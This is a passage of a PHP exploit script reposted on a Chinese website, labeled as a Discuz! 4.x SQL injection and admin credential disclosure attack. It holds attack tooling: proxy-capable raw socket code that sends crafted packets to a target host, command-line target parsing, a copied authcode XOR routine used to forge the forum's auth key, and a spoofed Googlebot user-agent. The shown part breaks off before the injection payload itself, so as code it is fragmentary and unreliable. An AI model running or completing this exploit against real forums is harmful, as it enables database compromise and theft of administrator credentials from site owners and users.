Discuz! 4.x SQL injection / admin credentials disclosure exp(2)


 }
 }
 else {
 $c = preg_match($proxy_regex,$proxy);
 if (!$c) {
 echo 'Not a valid proxy...';die;
 }
 $parts=explode(':',$proxy);
 echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
 $ock=fsockopen($parts[0],$parts[1]);
 if (!$ock) {
 echo 'No response from proxy...';die;
 }
 }
 fputs($ock,$packet);
 if ($proxy=='') {
 $html='';
 while (!feof($ock)) {
 $html.=fgets($ock);
 }
 }
 else {
 $html='';
 while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
 $html.=fread($ock,1);
 }
 }
 fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
 $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
 $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "please wait...\n";

//from global.func.php
function authcode($string, $operation, $key = '') {
 $key = $key ? $key : $GLOBALS['discuz_auth_key'];
 $coded = '';
 $keylength = 32;
 $string = $operation == 'DECODE' ? base64_decode($string) : $string;
 for($i = 0; $i < strlen($string); $i += 32) {
 $coded .= substr($string, $i, 32) ^ $key;
 }
 $coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
 return $coded;
}

//stolen from install.php
function random($length) {
 $hash = '';
 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
 $max = strlen($chars) - 1;
 mt_srand((double)microtime() * 1000000);
 for($i = 0; $i < $length; $i++) {
 $hash .= $chars[mt_rand(0, $max)];
 }
 return $hash;
}

$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1467.html